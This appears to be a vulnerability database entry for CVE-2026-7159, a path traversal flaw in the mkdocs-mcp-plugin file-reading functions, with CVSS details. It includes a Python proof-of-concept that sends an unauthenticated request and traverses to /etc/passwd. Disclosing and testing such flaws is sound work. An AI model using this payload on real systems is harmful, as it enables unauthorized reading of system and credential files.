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CVE-2026-7159 CVSS 7.3 HIGH

CVE-2026-7159

Published: 2026-04-27 22:16:18
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was found in douinc mkdocs-mcp-plugin up to 0.4.1. This affects the function read_document/list_documents of the file server.py. Performing a manipulation of the argument docs_dir/file_path results in path traversal. The attack is possible to be carried out remotely. The exploit has been made public and could be used. The vendor confirms, that the "fix will be published within a few days."

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

douinc mkdocs-mcp-plugin <= 0.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Example) target_url = "http://localhost:8000/read_document" # Malicious payload to traverse to /etc/passwd # The vulnerability is in 'docs_dir' or 'file_path' payload = { "docs_dir": "../../../../etc", "file_path": "passwd" } try: # Sending the request without authentication response = requests.get(target_url, params=payload, timeout=5) # Check if the response indicates a successful file read if response.status_code == 200 and "root:" in response.text: print("[+] Exploit successful! File content retrieved:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"Error: {e}")

References

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